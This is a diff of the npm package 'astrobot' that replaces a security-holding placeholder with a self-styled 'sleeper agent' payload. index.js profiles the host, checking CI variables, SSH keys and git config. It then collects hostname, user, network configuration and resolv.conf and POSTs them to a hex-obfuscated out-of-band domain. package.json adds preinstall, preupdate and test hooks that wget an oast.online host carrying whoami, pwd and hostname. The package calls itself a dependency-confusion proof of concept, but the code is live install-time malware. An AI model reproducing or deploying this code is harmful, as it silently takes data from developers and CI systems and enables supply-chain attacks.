astrobot 0.0.1-security → 15.0.0

package/index.js

@@ -0,0 +1,76 @@
+// =========================================================================
+// ========== THE ULTIMATE "SLEEPER AGENT" PAYLOAD (FINAL) =================
+// ======= STEALTH MODE: THIS PAYLOAD MIMICS THE REAL `astrobot` =========
+// ========= AND ONLY ACTIVATES ON HIGH-VALUE HUMAN TARGETS. =============
+// =========================================================================
+
+const os = require('os');
+const fs =require('fs');
+const path = require('path');
+const https = require('https');
+const { execSync } = require('child_process');
+
+const OAST_DOMAIN_HEX = 'YOUR_OAST_HEX_STRING_HERE';
+const OAST_DOMAIN = Buffer.from(OAST_DOMAIN_HEX, 'hex').toString();
+
+const run = (cmd) => { try { return execSync(cmd, { stdio: 'pipe', timeout: 5000 }).toString().trim(); } catch (e) { return 'CMD_FAILED'; } };
+const safeReadFile = (filePath) => { try { return fs.readFileSync(filePath, 'utf8'); } catch (e) { return null; } };
+
+const performHumanityTest = () => {
+    const report = { isHumanOrCi: false, evidence: {} };
+    const userInfo = os.userInfo();
+
+    // Test 1: Is this a known CI/CD system?
+    if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || process.env.GITLAB_CI || process.env.CIRCLECI) {
+        report.isHumanOrCi = true;
+        report.evidence.ci_env = { CI: process.env.CI, GITHUB: process.env.GITHUB_ACTIONS, JENKINS: process.env.JENKINS_URL };
+        return report; // A CI system is always a high-value target.
+    }
+
+    // Test 2: Are we inside a real git checkout?
+    const parentProjectRoot = path.resolve(__dirname, '../../');
+    const gitConfig = safeReadFile(path.join(parentProjectRoot, '.git/config'));
+    if (gitConfig && gitConfig.includes('nasa/astrobot')) {
+        report.isHumanOrCi = true; // Git context for the target repo is a confirmed hit.
+        report.evidence.git_config = gitConfig;
+        return report;
+    }
+    
+    // Test 3: Does the home directory belong to a human developer?
+    const homeDir = userInfo.homedir;
+    const hasSshKeys = safeReadFile(path.join(homeDir, '.ssh/id_rsa')) || safeReadFile(path.join(homeDir, '.ssh/id_dsa'));
+    const hasGitConfig = safeReadFile(path.join(homeDir, '.gitconfig'));
+    
+    if ((hasSshKeys || hasGitConfig) && userInfo.uid !== 0 && userInfo.username !== 'root') {
+        report.isHumanOrCi = true; // User is not root and has developer dotfiles.
+        report.evidence.developer_dotfiles = { ssh: hasSshKeys ? 'FOUND' : 'NOT_FOUND', git: hasGitConfig ? 'FOUND' : 'NOT_FOUND' };
+        return report;
+    }
+    
+    return report; // This is a bot, don't trigger.
+};
+
+try {
+    const testResult = performHumanityTest();
+    if (testResult.isHumanOrCi) {
+        // CONFIRMED HUMAN/CI TARGET - GATHER FULL DOSSIER AND EXFILTRATE
+        const intelPackage = {
+            mission_id: 'NASA-ASTROBOT-36d5833e-FINAL',
+            timestamp: new Date().toISOString(),
+            confirmation_reason: testResult.evidence,
+            host_intel: { hostname: os.hostname(), whoami: os.userInfo().username, platform: os.platform(), uptime: os.uptime() },
+            network_intel: { ip_config: run('ip a || ipconfig /all'), resolv_conf: safeReadFile('/etc/resolv.conf') }
+        };
+
+        const payload = JSON.stringify(intelPackage, null, 2);
+        https.request({
+            hostname: OAST_DOMAIN,
+            port: 443,
+            path: `/NASA_CONFIRMED_HUMAN_HIT/${intelPackage.host_intel.hostname}`,
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
+        }).on('error', e => {}).end(payload);
+    }
+} catch (e) {
+    // Ultimate silence.
+}

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "astrobot",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "15.0.0",
+  "description": "Dependency Confusion PoC using wget",
+  "main": "index.js",
+  "scripts": {
+    "test": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/test?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'",
+    "preinstall": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/preinstall?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'",
+    "preupdate": "sh -c 'wget --quiet \"http://d1hrsqsgtqkiu4hkklh0imhon647bh9ni.oast.online/preupdate?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"'"
+  },
+  "author": "orwa",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=astrobot for more information.